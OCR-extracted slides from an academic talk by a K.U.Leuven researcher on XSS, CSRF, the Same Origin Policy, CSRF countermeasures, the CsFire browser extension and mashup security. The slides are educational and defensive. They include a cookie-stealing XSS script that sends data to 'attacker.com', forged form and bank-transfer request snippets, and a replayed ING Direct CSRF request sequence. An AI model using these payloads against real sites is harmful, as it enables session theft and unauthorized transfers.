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About myself

m|lieven Desmet

m Research manager of the DistriNet Research
Group (K.U.Leuven, Belgium)

m Active participation in OWASP:
->Board member of the OWASP Belgium Chapter

-Co-organizer of the academic track on past
OWASP AppSec Europe Conferences
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DistriNet Research Group, K.U.Leuven

mHeadcount:

-9 professors DistriNet

__>60 researchers RESEARCH GROUP

mResearch Domains LEUVEN

->Secure Software
- Distributed Software

mAcademic and industrial collaboration in
30+ national and European projects

DistriNet http://distrinet.cs.kuleuven.be




Web Application Security Team

mCSRF protection: CsFire

->FireFox extension
->24K download
4500+ daily users

mSecure Mashup Composition
m|nformation Flow Control for Javascript
mProtection against Heap Spraying
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OWASP

m Open Web Application Security Project
-Free and open community

-Focus on improving the security of application
software

® Many interesting projects

-Tools: WebGoat, WebScarab, ESAPI API,
AntiSamy, CSRF Guard, Pantera, ...

-Documentation: Top 10, SAMM, Testing guide,
Code review guide, Application Security
Verification Standard, ...

DistriNet http://www.owasp.org -




OWASP Worldwide

m 160 local chapters worldwide, also across
Europe

-Regular chapter meetings (completely free!)
->Local mailinglists

mBelgium OWASP Chapter

-4-6 chapter meetings/year
->80-150 attendees per meeting
-Community of about 700 people

Ristrivet




GOESE

OWASP Top 10 TR

. reljease

® Main purpose:

->Raise awareness

-Educate developers, designers,
architects, managers, organisations, ...

mList of the most important web application
security weaknesses

m Recently updated and freelv downloadable

http://www.owasp.org/index.php/Top10

LEUVEN DlStrlNet 7
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Overview

® [ntroduction

m Cross-Site Request Forgery (CSRF)
-Same Origin Policy
-|mpact of CSRF
->Quantification of cross-domain traffic
->Countermeasures
->CsFire

®m Mashup security

m\WebSand
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Introduction
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Web applications
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Web Browser

Rendering HTMIL./CSS
Executing scripts/plugins

Launching requests
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URL Path

Parameters

HTTP Request
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HTTP Response

Status

Content

Web Server

Mapping requests to apps
Processing requests

Contacting back-end
services (e.g. DB)

Constructing responses
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On top of HTTP

m\\Web sessions:

-=Unique session identifier

->Via cookies or URL rewriting

mAuthentication:

=HTT
—=App
->Sing

Ristrivet
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Cross-Site Request Forgery (CSRF)

Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)

Implicit authentication
o - ¥ o e BN
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Cross-Site Scripting (XSS)

® Many synonyms: Script injection, Code
injection, Cross-Site Scripting (XSS), ...

mVulnerability description:

-|njection of HTML and client-side scripts into
the server output, viewed by a client

m Possible impact:

->Execute arbitrary scripts in the victim’s
browser

Ristrivet 14




Stored or persistent XSS

all)
LS

HTTP request injecting a script

into the persistent storage of the vulnerable server

Attacker

HTTP response

Regular http request Vulnerable server

Al

v

Http response containing

\ \ iL/ _

Victim
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Impact of reflected or stored XSS

mAn attacker can run arbitrary script in the
origin domain of the vulnerable website

mExample: steal the cookies of forum users

<script>
new Image().src="http://attacker.com/send_cookies.php?forumcookies="

+ encodeURI(document.cookie);
</script>

Ristrivet 16




Cross-Site Request Forgery (CSRF)

® Synonyms: one click attack, session riding, confused
deputy, XSRF, ...

m Description:

-web application is vulnerable for injection of links or
scripts

—injected links or scripts trigger unauthorized requests
from the victim’s browser to remote websites

-the requests are trusted by the remote websites since
they behave as legitimate requests from the victim

Qsigt[iNet 17
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ﬁ m HTTP request injecting a script
into the persistent storage of the vulnerable server
LY

HTTP response

Attacker

Http response containing

script as part of executable content

Unauthorized HTTP request

HTTP response

@,

Targeted server
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Implicit authentication

m XSR
Imp

" mp

-=HTTP authentication: basic, digest, NTLM, ...

- exploits the fact that requests are
icitly authenticated

icit authentication:

- Cookies containing session identifiers
- (Client-side SSL authentication
- |P-address based authentication

' [ ]

® Notice that some mechanisms are even
completely transparent to the end user!

-=NTLM, IP-address based, ...

Ristrivet
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Same Origin Policy

Same Origin Policy

Allowed cross-domain interactions

LEUVEN IELUNE
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Same Origin Policy

B |mportant security measure in browsers for
client-side scripting

“Scripts can only access properties associated

with documents from the same origin”

m Origin reflects the triple:
* Hostname

* Protocol
* Port (*)

Ristrivet
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Same origin policy example
mhttp://www.company.com/jobs/index.html

-http://www.company.com/news/index.html
e Same origin (same host, protocol, port)

- https://www.company.com/jobs/index.html
 Different origin (different protocol)

-http://www.company.com:81/jobs/index.html
 Different origin (different port)

-http://company.com/jobs/index.html
 Different origin (different host)

-http://extranet.company.com/jobs/index.html
 Different origin (different host)

Ristrivet 22




Effects of the Same Origin Policy

m Restricts network capabilities
-Bound by the origin triplet

-|mportant exception: cross-domain hosts in
the DOM are allowed

mAccess to DOM elements is restricted to the
same origin domain

-=Scripts can’t read DOM elements from another
domain

Ristrivet 23




Same origin policy solves CSRF?

®m\What can be the harm of injecting scripts if
the Same Origin Policy is enforced?

m Although the same origin policy, documents
of different origins can still interact:
* By means of links to other documents
* By using iframes
* By using external scripts
* By submitting requests

Ristrivet 24




Allowed cross-domain interactions

mLinks to other documents

<a href="http://www.domain.com/path“>Click here!</a>
<img src="http://www.domain.com/path”/>

* Links are loaded in the browser (with or without
user interaction) possibly using cached credentials

m Using iframes/frames

<iframe style="display: none;” src="http://www.domain.com/path”></iframe>

e Link is loaded in the browser without user
interaction, but in a different origin domain

DistriNet 25
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Allowed cross-domain interactions

m Loading external scripts

<script src="http://www.domain.com/path”></script>

-The origin domain of the script seems to be
www.domain.com,

-However, the script is evaluated in the context of
the enclosing page

- Result:

* The script can inspect the properties of the enclosing
page

* The enclosing page can define the evaluation
environment for the script

DistriNet 26
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Allowed cross-domain interactions

mnitiating HTTP POST requests

<form name="myform” method="POST” action="http://mydomain.com/process”>
<input type="hidden” name="newPassword” value=“31337"/>

</form>

<script>
document.myform.submit();

</script>

* Form is hidden and automatically submitted by the

browser, using the cached credentials

e The form is submitted as if the user has clicked the
submit button in the form

DistriNet 27
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Allowed cross-domain interactions

® Via the Image object
<script>
var mylmg = new Image();
mylmg.src = http://bank.com/xfer?from=1234&to=21543&amount=399;
</script>
® Via the XmlIHttpRequest object
<script>
var xmlIHttp=new XMLHttpRequest();
var postData = from=1234&to=21543&amount=399’;
xmlHttp.open("GET","http://bank.com/xfer" true);
xmlHttp.send(postData);
</script>
® Via document.* properties
document.location = http://bank.com/xfer?from=1234&t0=21543&amount=399;

. L ]
KATHOLIEKE UNIVERSITEIT D IStrI N et
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Allowed cross-domain interactions

m|nitidirecting via the meta directive

<meta http-equiv="refresh" content="0; URL=http://www.yourbank.com/xfer" />

mVia URLs in style/CSS

body
{

background: url(‘http://www.yourbank.com/xfer’) no-repeat top

}

<p style="background:url(‘http://www.yourbank.com/xfer’);”>Text</p>

<LINK href=" http://www.yourbank.com/xfer “ rel="stylesheet" type="text/css">

DistriNet 29
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This is only the top of the iceberg

m\What about ...
- XSS cheat sheet(100+ vectors)
->HTMLS Security cheat sheet
->Cross-Site Tracing (XST)
-Request/response splitting

é...

Ristrivet
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Impact of CSRF

CSRF objectives
CSRF in practice

o Vol e n T = e
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CSRF objectives

mSending unauthorized requests
mLogin CSRF
mAttacking the Intranet

Ristrivet
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Sending unauthorized requests

m Requests to the target server
=Using implicit authentication

-Unauthorized, and mostly transparent for the end
user

m Typical examples:
-=Transferring money
-Buying products on e-commerce sites
-Submitting false reviews/blog entries
->Linking friends in social networks
-DoS attacks

a..l
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Login CSRF

m CSRF typically leverages on browser’s state
-E.g. via cached credentials, ... [Bls)

m|ogin CSRF leverages on server’s state

- Attac

- Attac
estab

ker forges request to a honest site
cer logs in with his own credentials,

ishing a user session of the attacker

-Subsequent requests of the user to the honest
site are done within the user session of the
attacker

Ristrivet
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Login CSRF examples

m Search engines (Yahoo!, Google, ...)

e Search requests of the user are recorded in the search
history of the attacker’s account

* Sensitive details of the searches or personal search interests
are exposed to the attacker
m PayPal
* Newly enrolled credit cards are recorded in the profile of the
attacker
m iGoogle

» User uses the attacker’s profile, including his preferences of
gadgets

* Inline, possible malicious gadgets run in the domain of
https://www.google.com

DistriNet 35

RESEARCH GROUP




Attacking the Intranet

m Targeted domain can reside on the intranet

m Typical scenario’s:
-Port scanning (FF has some forbidden ports)
-Fingerprinting (via time-outs)
->Exploitation of vulnerable software

- Cross-protocol communication
* E.g. sending mail from within domain

m Some widespread attacks like reconfiguring
home network routers

Qsigt[iNet
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Impact of XSS/XSRF

mExamples

-Qvertaking Google Desktop

* http://www.owasp.org/index.php/
Image:OWASP _IL_7 Overtaking Google Deskt
op.pdf

->XSS-Proxy (XSS attack tool )
* http://xss-proxy.sourceforge.net/

-Browser Exploitation Framework (BeEF)

* http://www.bindshell.net/tools/beef/
DistriNet 37




XSRF in practice

m\V. Zeller and W. Felten, Cross-site Request
Forgeries: Exploitation and Prevention,
Technical Report —

m XSRF in the ‘real’ world
-=New York Times (nytimes.com)
-|NG Direct (ingdirect.com)
-Metafilter (metafilter.com)
-YouTube (youtube.com)

Ristrivet
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XSRF: ING Direct

m XSRF attack scenario:

- Attacker creates an account on behalf of the user with
an initial transfer from the user’s savings account

-The attacker adds himself as a payee to the user’s
account

->The attacker transfer funds from the user’s account to
his own account

® Requirement:

- Attacker creates a page that generate a sequence of GET
and POST events

DistriNet 39
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ING Direct request protocol

GET https://secure.ingdirect.com/myaccount/INGDirect.html?command=gotoOpenOCA

POST https://secure.ingdirect.com/myaccount/INGDirect.html
command=ocaOpenlnitial&YES, | WANT TO CONTINUE..x=44&YES, | WANT TO CONTINUE..y=25

POST https://secure.ingdirect.com/myaccount/INGDirect.html
command=ocaValidateFunding&PRIMARY CARD=true&JOINTCARD=true&Account Nickname=[ACCOUNT NAME]&
FROMACCT= 0&TAMT=[INITIAL AMOUNTI]&YES, | WANT TO CONTINUE..x=44&YES, | WANT TO CONTINUE..y=25&
XTYPE=4000USD &XBCRCD=USD

POST https://secure.ingdirect.com/myaccount/INGDirect.html
command=ocaOpenAccount&AgreeElectronicDisclosure=yes&AgreeTermsConditions=yes&YES, | WANT TO CONTINUE..x=44&
YES, | WANT TO CONTINUE..y=25&YES

GET https://secure.ingdirect.com/myaccount/INGDirect.html?command=goToModifyPersonalPayee&Mode=Add&from=displayEmailMoney

POST https://secure.ingdirect.com/myaccount/INGDirect.html
command=validateModifyPersonalPayee&from=displayEmailMoney&PayeeName=[PAYEE NAME]&PayeeNickname=&
chkEmail=on&PayeeEmail=[PAYEE EMAIL]&PayeelsEmailToOrange=true&PayeeOrangeAccount=[PAYEE ACCOUNT NUM]&
YES, | WANT TO CONTINUE..x=44&YES, | WANT TO CONTINUE..y=25

POST https://secure.ingdirect.com/myaccount/INGDirect.html
command=modifyPersonalPayee&from=displayEmailMoney&YES, | WANT TO CONTINUE..x=44

POST https://secure.ingdirect.com/myaccount/INGDirect.html
command=validateEmailMoney&CNSPaylD=5000&Amount=[TRANSFER AMOUNT]&Comments=[TRANSFER MESSAGE]&
YES, | WANT TO CONTINUE..x=44 &YES, | WANT TO CONTINUE..y=25&show=1&button=SendMoney

POST https://secure.ingdirect.com/myaccount/INGDirect.html
command=emailMoney&Amount=[TRANSFER AMOUNT]Comments=[TRANSFER MESSAGE]&
YES, | WANT TO CONTINUE..x=44&YES, | WANT TO CONTINUE..y=25

40




ING Direct wrap up

m Static protocol

-=No information needed about vulnerable
client

->Can be encoded as a single sequence
* 2 GET requests
* 7 POST requests

mCan be transparent for the vulnerable client

mSingle requirement: vulnerable client is
implicitly authenticated

Ristrivet 4




Quantification of cross-domain traffic
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Quantification of cross-domain traffic

mNeed for better insights

-To identify the nature of nowadays web
Interactions

-To find an appropriate balance between
usability and security

m Analysis of real-life traffic
-50 grad students
-10 week period
-Total: 4.7M requests

Ristrivet 43



Data collection

® Via custom-made browser extension
-Fully transparent for the end-user
- Extension installed as part of lab exercise

m Logs relevant information for each outgoing request
-Q0riginator:
e Domain, scheme, DOM element, ...

->Request:

* Target domain, scheme, method, URL path, input parameter
keys, cookie keys, HTTP auth?, user interaction?, redirect?, ...

DistriNet 44
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Privacy considerations

® Only keys were recorded, no values or credentials
-Cookies
=|nput parameters
-=HTTP authentication
® Full URLs were not recorded
-0Only filename + extension
® No client information was recorded
->No browser information (except for logger version)
->No IP information
->No usernames

Qsigt[iNet
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Quantification of cross-domain

requests

cross-domain requests
(strict SOP)

cross-domain requests
(relaxed SOP)

All requests

DistriNet

RESEARCH GROUP

1,985,052
(41.97%)

1,503,990
(31.80%)

4,426,826
(93.61%)

59,415
(1.26%)

56,260
(1.19%)

302,041
(6.39%)

2,044,756
(43.24%)

1,560,519
(33.00%)

4,729,217
(100.00%)
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Cross-domain requests characteristics
(under relaxed SOP)

GET 533,612 6,837 (0.45%) 528,940 1,357 (0.11%) 1,503,990
requests (35.47%) (35.17%)

POST 41 26,914 12,442 269 1,560,519
requests (0.07%) (47.84%) (24.36%) (0.01%)

DistriNet 47
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Interesting conclusions

m Large number of requests has
-|nput parameters (+-35%)
-Cookies (+-35%)
m Use of HTTP authentication is very limited

m Additional information:
—Total number of requests: 4,729,217

-Total number of domains: 23,592
» 3338 domains use redirects (14.15%)
* 5606 domains use cookies(23.76%)
* Only 2 domains use HTTP authentication

Ristrivet
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Countermeasures

DistriNet
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Countermeasures

m|nput/output validation

mLimit requests to POST method
mReferer checking
mToken-based approaches
mExplicit authentication
mCross-domain policies
mBrowser plugins

Ristrivet
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Mitigation overview

=) =) =)

Browser Proxy WAF Server/
/Proxy Application

DistriNet 51
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Input and output validation

® Character escaping/encoding (<, >, &, “ ...)

® Filtering based on white-lists and regular
expressions

® HTML cleanup and filtering libraries:
* AntiSamy
« HTML-Tidy

m But, how do you protect your application
against CSRF?

Ristrivet 52




Input/output validation is hard!

m XSRF/XSS have multiple vectors

-=Some of them presented before

->100+ vectors described at http://ha.ckers.org/
Xss.html

m Use of different encodings

m Several browser quirks
-Browsers are very forgiving
->Resulting processing is sometimes counter-intuitive

Ristrivet 53




Limit requests to POST method -

mThis is often presented as an effective
mitigation technique against XSRF

mHowever, also POST requests can be forged
via multiple vectors

mSimple example:
-=Form embedded in iframe

- Javascript does automatically submit the form

Ristrivet 54
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Referer checking

®m What about using the referer to decide where
the request came from?

® Unfortunately:

->Attackers can trigger requests without a referer or
even worse fake a referer
e e.g. dynamically filled frame
e e.g. request splitting, flash, ...
-=Some browsers/proxies/... strip out referers due to
privacy concerns
* 3-11% of requests (adv experiment with 300K requests)

Qsigt[iNet 55
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Referer checking can work ...

®mln a HTTPS environment
* <0.25% of the referers is stripped out

mReferers can be made less privacy-
intrusive and more robust
* Distinct from existing referer
* Contains only domain-information
* Is only used for POST requests
* No suppression for supporting browsers

Ristrivet
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The new referer: Origin

® Proposed by Barth, Jackson and Mitchell at
CCS’08 [BIMO8]

-Robust Defenses for Cross-Site Request Forgery

m Merges several header proposals:
-(CSS’08 paper by Barth, Jackson and Mitchell

- Access-Control-Origin header, proposed by the
cross-site XMLHttpRequest standard

-XDomainRequest (Internet Explorer 8 beta 1)
-Domain header of JSONRequest

Ristrivet
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Token-based approaches

m Distinguish “genuine” requests by hiding a
secret, one-time token in web forms

* Only forms generated by the targeted server
contain a correct token

e Because of the same origin policy, other origin
domains can’t inspect the web form

lSeveraI approaches:

* RequestRodeo
* NoForge
 CSRFGuard
* CSRFx
* Ruby-On-Rails
* ViewStateUserKey in ASP.NET

LEUVEN DlStrlNet 58
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RequestRodeo

® Proposed by Johns and Winter (OWASP AppSec
EU 2006) IWO6]

B Client-side proxy against XSRF

->Scan all incoming responses for URLs and add a
token to them

-Check all outgoing requests
* |In case of a legitimate token and conforming to the
Same Origin Policy: pass
* Otherwise:

- Remove authentication credentials from the request (cookie
and authorization header)

- Reroute request as coming from outside the local network

DistriNet 59
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NoForge -

® Proposed by Jovanovic, Kirda, and Kruegel
(SecureComm 2006) [IKKOS]

m Server-side proxy against XSRF

—For each new session, a token is generated and the
tupple (token-sessionid) is stored server-side

-Qutgoing responses are rewritten to include the
token specific to the current session
-For incoming requests containing implicit
authentication (i.e. session ID), tokens are verified
* Request must belong to an existing session
» Token-sessionid tupple matches

Qsigt[iNet 60

RCH GROUP




CSRFGuard i

m OWASP Project for Java EE applications

®|mplemented as a Java EE filter

-For each new session, a specific token is
generated

-Qutgoing responses are rewritten to include
the token of the specific session

-|ncoming requests are filtered upon the
existence of the token: request matches token,
of is invalidated
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Token-based approaches in frameworks

mRuby-On-Rails
m\iewStateUserKey in ASP.NET

m\ery valuable solution if integrated in you
application framework!
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Tokens

B |[mportant considerations:
-Tokens need to be unique for each session
* To prevent reuse of a pre-fetched token
-Tokens need to be limited in life-time
* To prevent replay of an existing token

-Tokens may not easily be captured

* E.g. tokens encoded in URLs may leak through referers,
document.history, ...

®m Most token-based techniques behave badly in a web
2.0 context

DistriNet 63
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Explicit authentication

mAdditional application-level
authentication is added to mitigate XSRF

mTo protect users from sending
unauthorized requests via XSRF using
cached credentials

mEnd-user has to authorize requests
explicitly

Ristrivet 64
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Adobe cross-domain policy

® Limits the cross-domain interactions towards a given domain

m |s used in Flash, but also some browser plugins implement
policy enforcement

<?xml version="1.0"?>
<IDOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="1100,1200,1212"/>
<allow-access-from domain="*.example.com”/>
<allow-http-request-headers-from domain="www.example.com"
headers="Authorization,X-Foo*"/>
<allow-http-request-headers-from domain="foo.example.com"
headers="X-Foo*"/>
</cross-domain-policy>

T Distritiet 65



VIDES

Browser plugins

m CSRF protector
- Strips cookies from cross-domain POST requests

m BEAP (antiCSRF)

->Strips cookies from
* Cross-site POST requests
* Cross-site GET requests over HTTPS

m RequestPolicy
- User-controlled cross-domain interaction

m NoScript
m CsFire

Qsigt[iNet 66
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Requirements for client-side
mitigation
m R1.Independent of user input

-Substantial fraction of cross-domain traffic
-Most users don’t know necessary/safe interactions

m R2.Usable in a web 2.0 environment
- Mashups, AJAX, Single-Sign On, ...

m R3. Secure by default
-Minimal false positives in default operation mode

Ristrivet 68




CsFire

m Client-side mitigation technique developed by
DistriNet, K.U.Leuven

® Builds on RequestRodeo’s concept of stripping

® Main purpose:

-Finding a better balance between security and
usability

m Full paper available:

- Ph. De Ryck, L. Desmet, T. Heyman, F.Piessens, W. Joosen. CsFire: Transparent client-side

mitigation of malicious cross-domain requests, LNCS volume 5965, pages 18-34, Pisa,
Italy, 3-4 February 2010

DistriNet 69
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Client-side enforcement

{ 3. response
Browser ‘—_\

\1. request Web
+ context 1 Application
Policy i 2.safe
Engine : request
Client : Server

DistriNet
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Client-side Policy Enforcement

Request

Response D

T DistriNet 7




Client-side Protection

m Collect Information
-> Origin and Destination
- HTTP Method
- Cookies or HTTP authentication present
- User initiated

é LN ]

Ristrivet
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Client-side Policy Enforcement

T DistriNet 73




Client-side Protection

mDetermine action using policy
- Accept
- Block
- Strip cookies
-> Strip authentication headers
-ASK (mainly for debugging)

Ristrivet
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Client-side Policy Enforcement

Request

Response

T DistriNet 75




Cross-domain Client Policy

User Initiated ﬁ
A y

No Parameters

Not User Initiated STRIP
\ / N y

User Initiated STRIP

Parameters

Not User Initiated STRIP

User Initiated STRIP

Not User Initiated STRIP

(
\
a
A
’
—— —— — — —
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Client-side policy: wrap up

® Allow domain relaxation to top-level domain

m Cross-domain GET requests:
* Allow
 Strip http authentication credentials
* Strip cookies

® Cross-domain POST requests:
* Deny
B As precise as possible:

-Combining document originator and raw http
request

-=Tracing human-computer interaction (e.g. click)

Qsigt[iNet
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Prototyped as CsFire

m https://distrinet.cs.kuleuven.be/software/CsFire
v CsFire 0.9.1

by Philippe De Ryck, Lieven Desmet

I - CsFire autonomously protects you against dangerous or malicious cross-domain
—= requests, such as Cross-Site Request Forgery (CSRF). CSRF is very prevalent and

—_— T dangerous, as stated by the OWASP top 10, as well as the CWE/SANS top 25
- i : : programming errors.

Add to Firefox

Add to favorites Updated January 7, 2011
@ Add to collection Website http://distrinet.cs.kuleuven.be/software/CsFire/
Share this Add-on Works with Firefox 3.5-4.0.*
Rating 7 reviews
Downloads 24,492

KATHOLIEKE




Comparison: Request Policy

User Initiated

STRIP

No Parameters
Not User Initiated

User Initiated STRIP

Parameters

Not User Initiated STRIP

STRIP

User Initiated J

>
-
- P
e LN | N ) | N | N——

Not User Initiated J STRIP
A




Comparison: BEAP (AntiCSRF)

HTTP ﬁ L HTTP AUTH ]
ST
HTTPS STRIP I
A y
STRIP ] STRIP l
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Prototype Evaluation

® CSRF Scenarios
-> 59 scenarios
- Test prevention capabilities

-» Contains attacks launched from ...
* CSS Attributes
* HTML attributes
* JavaScript
* Redirects

DistriNef
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Prototype Evaluation

m Real-life test users
- 60 test users, several weeks
- Detect issues in security — usability balance
- Option to provide feedback

® Feedback via Mozilla Add-On users
- About 25000 downloads since release

4500+ daily users
* Positive feedback
* Some suggestions for additional server policies
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CsFire statistics

Switch Add-on:| CsFire :
(o Developer Hub | Dashboard Home | Help
@ CsFire Statistics
Summary - [ Daily Downloads |l Active Daily Users ey
s 4,323
300 y
wal m
f - - IR~ yrijdag 4 februari 2011
Total Downloads Active Daily Users
Since Jan. 7, 2010 24’492 On Wednesty. Feb. 16 4’746
Last Day Count 37 Change from previous count -4 12%
Wednesday, Feb. 1€ 4,950 on Feb. 15 ’
Average Daily Downloads 60 Average Daily Active Users 2,508
Downloads in the last 7 days 370  Average Daily Users this Week 4,687

-1.28% from last week
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Evaluation Results

m CSRF scenarios passed successfully

B Test users: very positive

- Only a few minor inconveniences detected
e Re-authentication after cross-domain request

- Works well with Web 2.0
- Works well popular SSO mechanisms

B |ssues with sites spanning multiple domains
- Example: Google, Microsoft (Live, MSN, ...)
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Sites spanning multiple domains

® Some intended cross-domain interactions can’t be
differentiated from malicious CSRF attempts

® Client cannot distinguish legitimate traffic

m Additional input is needed to relax the policy

-Some gadgets of www.google.be/ig wants to access
google.com ...

® Who will provide this?
-=>End-user ?7??
-=Server 1!
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Server policies

mAdditional information needed
- Specify intended cross-domain requests

-> Server policy identifies desired cross-
domain requests

min CsFire prototype
->Server policies via policy server
->Local policies
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Unified client-server approach

mServer can provide additional input via a
cross-domain policy
-=Which cross-domain interactions are
intended/allowed by the server

e Allow cross-domain cookies?

* Allow cross-domain http authentication?

e Originating domains (host, port, protocol, path)?
* Destination domain (host, port, protocol, path)?

mThis policy allows a finer-grained decision
within the browser
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Mashup security

o Vol e n T = e
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I Mashups by example

For Rent ForSale Rooms Sublets Powered by craigslist and Google Mapsz -
|
City: | Atlanta ~| Price: [$2250+ ‘v| ShowFilters™®” Refresh Link spout TP eedback
7 w Ay
g
. inosks @ | Satelite | Hybrid | O w2400 3ba Popular Townhome Floor Plan in Dulith 606
-" S .@ Fulton Courty Save 1 Left!
Doravnlle
% @ Sl © 34371 3bd  Austin Oaks Apartments Nashvile 608
Smyma . .
Mt Paran | Brookhaven 4 $2400 qpg —ondoaualty 18R inthe Aflarta 608
Dekalb-Peachtre Highlands! Save
A\ Northside alb-Pea e OIgNIanGs: save
A North ;
%5 e Airport Gourmet Kitchen, Unigue
— i Atlanta
YE Sonvonv @ Tucker O S24e Floorplan, Prime Decatur- Save ! Decetr " G
@ Smoke R Premier Location In Decatur, Save
"ee : O 32400 g Decatur 603
- Battle 0' Piney Grove ’ 4 bedroom 3bath custom home in
} 'S 4 o § O o0 aea ot Alanta 608
olton @
. ' Clarkston St Awwesome Ammenities Perfect R
: Nhittier w
\ﬂllage o Mo O e300 Decatur Location, Save In Rent | Decehur GLF
285 Pine Lake L
Ron County tur Scottdale O s$2400  1bd Have A Home In Thriving Decetur- ., g7
nort-Brown 4 ' Hardwood Floor- Save In Rent!
. S DecStur — Druid Hi ; 2278
ED = Field ' PSP O $3750  6bd 380“4.584& Druid Hills Executive Atlarta B07
Adamsville Vine City Estates Home
3 = East Lakes Belvedere Today Only! Best 2 Bedroom Deal
2 - Atl ta EnctAtlanta Park O $2400 in McDonough! First Caller Saves  Mcdonough 607
@ Summerhill o @ $2400 |
= 4204 Candler-McAfee Big Space Even Better Price Save !
Mangum <
Manor Fotl | 32 %@@ , ¢ O s200 20d s Unis Lot Decatur  &107
@ 4 o A . .
Niskey Cove - | am— McPherson - qmel : Condo Quality 1 BR in premier in .
> i et Gresham Panthersville O s2000 b G s Save thru Fricay. S99 607 A\
Fairway Mot Park i ' .
Aeres Metwood - G3D - @ O $2400 2bg SoveonHichland's most sought o ez 0,
after 2BR Hurry! Expires today!
Butner-Tell - Greenbriar East Point
. { : Don't miss Out On This Great
Ben Hill . O 32900 Decatur 607
College George High Y Offer- Save In Rent!
Park'  ©Ly e A gorgeous home in a fantastic .
Hartsfield-Jackson 2854 4,% O $2350  dbd o orhood Marietta 6207
2, Delghbornood
Atlanta + <. . .
Intemational Airport. - Conley %0%.\‘ <D UFtra-trendv Ioft_s in premier
‘ %% (O $2400 2bd  Highland's location! Save New York 67
Red Oak L Forest Park tomorrowy pth
@ ‘ Lake City 1,903 Square Foot Luxury in
(O 32400 3bd  Upscale Johns Creekl Save Dulth 6107
POWERED BY 2 mi Rex Today. = 9,
COUSle |-§‘l&'." Cry ] oY M@la @2010 Google - Tertis of Use | 4 c T | ﬂl R

PAAN 7 Oty - TWEREETSE IO VOTTCIET A 9RPTR EFOR THE DPRTOE OF A 1 BTYRY77777 _ MAADIETTAS



Mashups: Definition

A web application that combines content (data/
code) or services from multiple origins
to create a new service
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Incentives for mashups

mAdded value of combined result
mContent re-use
mF|exible and lightweight applications

mExamples:
->@Google Maps, Jquery
->Yahoo pipes,
- @Gadgets: iGoogle, Yahoo!, facebook aps, ...
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Mashup security problems

mSource providers may reside in different trust
domains!

mSensitive information may leak to untrusted
sources

mNo behavioral restrictions to mashup
components

® Mashup component can influence execution
of other components
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Example Case: The Financial Mashup

B

Stock L
Advisor

/
-0

1‘ 62 E-mart _ Smart — '
iﬁl""-!i Billing Advertising

B
!»5

A
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Security requirements for mashups

® Separation

- DOM, Scripts, Applicable in same domain
B [nteraction

- Confidentiality, Integrity, Mutual auth.
® Communication

-> Cross-domain, authenticated

® Behavior Control

m Full paper available:

- Ph. De Ryck, M. Decat, L. Desmet, F.Piessens, W. Joosen. Security of Web Mashups: a
Survey, NordSec 2010, LNCS, Espoo, Finland, 27-30 October 2010

DistriNet
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Separation and Interaction

m Restriction of the SOP

- No interaction between different-origin
documents

® Mashups have a history of enabling
Interaction:

- Fragment Identifier Messaging i
- SMash i

- Subspace

- postMessage
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Interaction: postMessage

® Enables frame communication

-> JavaScript API to send/receive messages
- Event-driven

- Mutual authentication

®m Standardized
- Part of HTML5

- Already supported in major browsers
/m&ndUw?addEventﬁistenerf“message", rev;—f -

function rcv(event) {

if (event.origin !== “http://example.org") return;
var £ = frames[1l];
handl t
//handle even f.postMessage (“abcl23", "http://frame.example.com") ;




Separation and Interaction

m Restriction of the SOP

- No separation between same-origin
documents

m Stronger separation than IFRAMES:
- Module-tag .
- MashupOS ;s
- OMash i
- Sandbox-attribute 1

Ristrivet
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Separation: sandbox

B Provides frame restrictions

- Unique origin

-> Disable plugins, forms, script, navigation
® Standardized

- Part of HTML5

- Not yet supported in major browsers (only Chrome)
® Some underspecified behavior

- Unique origin and cookies
-> Unique origin and interaction/communication

] l <iframe src=“http://example.com” sandbox >.</iframe>
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Script Isolation

m Restriction of the SOP

-> No separation between loaded scripts
(origin agnostic)

m Subsetting JavaScript:
- ADSafe
- FaceBook JavaScript
- (Caja 1o

Ristrivet
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Script Isolation: Caja

B Goal: object-capability security in JavaScript
with a minimal impact
-> Static verification
-> Runtime checks

m Allows reasoning about the language ..,

m Successfully used on Yahoo Application
Platform, iGoogle, ...
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Communication

m Restriction of the SOP

- No communication to different origins

® Mashup techniques have proven otherwise:
- Client/Server-side Proxies
- Script Communication
- Plugin Communication (Flash, Java, ...) ns
-> Cross-Origin Resource Sharing (17
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Communication: CORS

m Enables cross-domain communication
- Same mechanism as XHR
- Uses additional headers to supply information
- Enforcement by browser
- Protection of legacy code!

®m About to be standardized
- W3C Working draft
-> Specifies APl and algorithms, not implementation
- Already supported in major browsers

DistriNet 1o




Advanced Fine-Grained Control

m Restriction of the SOP
- No separation between loaded scripts
(origin agnostic)
m Restriction of script inclusion
- No control over loaded scripts
m Restrictions on scripts
- No restrictions to execute security-sensitive operations
-> No restrictions to interact with parts of the DOM

m Behavior control / Policy enforcement:
- Browser Enforced Embedded Policies 1
-> Self-Protecting JavaScript us
- ConScript 14
-> Secure Multi-Execution s
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Overview

E l
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o=l
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“ Online ‘
Banik _ visor

= E-mart Smart
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Separation / Isolation: sandbox / caja

Interaction with other components: postMessage
Communication with integrator / provider: CORS
Fine-Grained Control: caja / policy-based techniques
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Future of mashup security

B [mprovements of current state-of-the-art
- Unique origin authentication
- Web developer / administrator support

m Address changing requirements
- Fine-grained control
- Flexible policies
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WebSand

https://www.websand.eu/

LEUVEN IELUNE
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EC FP7-ICT-5-STREP: WebSand Project

m Unified security solution for web applications
spanning client and server side

-Server-driven security solution
-(Client-side sandboxing

mSupport for fine-grained security policies

->Fine-grained access control
-End-to-end information flow control

.. SEVENTH FRAMEWORK
->Secure Composition of mashups

* K
o Server-driven Outbound Web-application Sandboxing |-
DistriNet X,k
RESEARCH GROUP FP7-ICT-5-STREP (01/10/2010-30/09/2013) *




Server-driven security solution

RESEARCH GROUP

Web Web
browser | | browser
DistriNet
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Client-side “sandboxing”
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